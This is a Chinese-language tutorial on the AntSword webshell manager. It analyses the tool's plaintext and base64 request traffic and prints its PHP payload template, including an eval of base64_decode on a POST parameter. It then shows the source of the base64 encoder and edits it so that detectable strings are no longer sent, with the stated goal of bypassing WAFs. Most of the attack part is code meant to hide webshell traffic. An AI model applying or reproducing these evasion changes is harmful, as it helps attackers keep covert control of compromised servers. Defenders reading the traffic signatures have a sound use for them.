蚁剑从入门到魔改【一】
- 一、明文通信
- 二、密文通信
- 三、自定义编解码
- source/core/php/index.js
- source/core/php/base64.js
- 自定义加密算法
- 四、参考文章
连接地址
选用网卡
一、明文通信
特征
=%40ini_set
set_time_limit
分析过程
以 HTTP 流的形式 打开数据包
在虚拟终端执行命令
如上图:返回包首部和尾部有填充字符,分别是
117dd7689896
和d3f7440
。对应了请求包中的echo
的输出内容
二、密文通信
特征
base64_decode
分析过程
在蚁剑php的选项下,请求包默认支持base64、chr、chr16、rot13四种编码方式,响应包支持base64、rot13编码,还支持在几种编码方式下随机选择。
这里我们选择 请求和响应的方式 都是base64加密
注意:这里可不是单纯的 Base64加密,可以看到。加密后的数据做了混淆,有 %
三、自定义编解码
首先我们应该知道,在蚁剑的 source/core/php
目录下有对应的编码,我们只需要在这里进行修改即可,然后流量特征就会发生变化,可以通过简单的操作,隐藏某些特征,就可以很有效的绕过waf
source/core/php/index.js
打开source/core/php
下的 index.js
之后 会看到下面的内容。在 encoders
中写什么,对应的蚁剑的界面上就会出现什么内容
同理,下面代码还有 关于分割符号设置的
接下来,看最重要的 能够通过修改 绕过 WAF 的代码
index.js 最后的 data[’_’] 就是shell代码执行的主体架构
蚁剑会将参数传递到对应的位置拼接成为完整代码
最终服务器执行的就是这里的代码
data['_'] =
`@ini_set("display_errors", "0");
@set_time_limit(0);
${asencCode};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";
echo @asenc($output);
echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();
try{${tmpCode};
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();`;
观察第2,3行,和数据包中的responseBody的第一行很相似
因此我们可以推理出,这就是默认情况下(明文通信),蚁剑数据包的流量特征
上面介绍了明文通信,如果想要进行密文通信,例如 base64 加密通信,那么就要分析 source/core/php/base64.js
source/core/php/base64.js
下面是 base64.js
的文件内容
/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}
shell 所有传递的参数都在data列表中,需要执行的代码在
data['_']
中,data[randomID] = Buffer.from(data['_']).toString('base64');
的表达的意思就是 将data['_']
中的代码读取并进行 base64 编码data[pwd] 以参数的形式将内容传递到 服务器,将
data['_']
的内容在服务器端 解码并执行,虽然data['_']
是被编码了,但是data[pwd]
作为参数传递仍然是以明文传输因此我们要想方设法 不发送明文内容,也就是不发送
data[pwd]
中的内容
如果上述代码不做修改,数据包中会看到以下特征(responseBody的第一行),对应 base64.js
的下面这行代码
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
下面对 bash64.js 文件做修改
注意只能写成 data[pwd],不能写成 data[randomID],不然的或连接的时候就会发出警告
返回数据为空
/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
//data[randomID] = Buffer.from(data['_']).toString('base64');
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
自定义加密算法
点击蚁剑的编码设置,可以创建编码器或解码器,以绕过更严格的 WAF 查杀。同时官方也在 github上提供了很多优秀的项目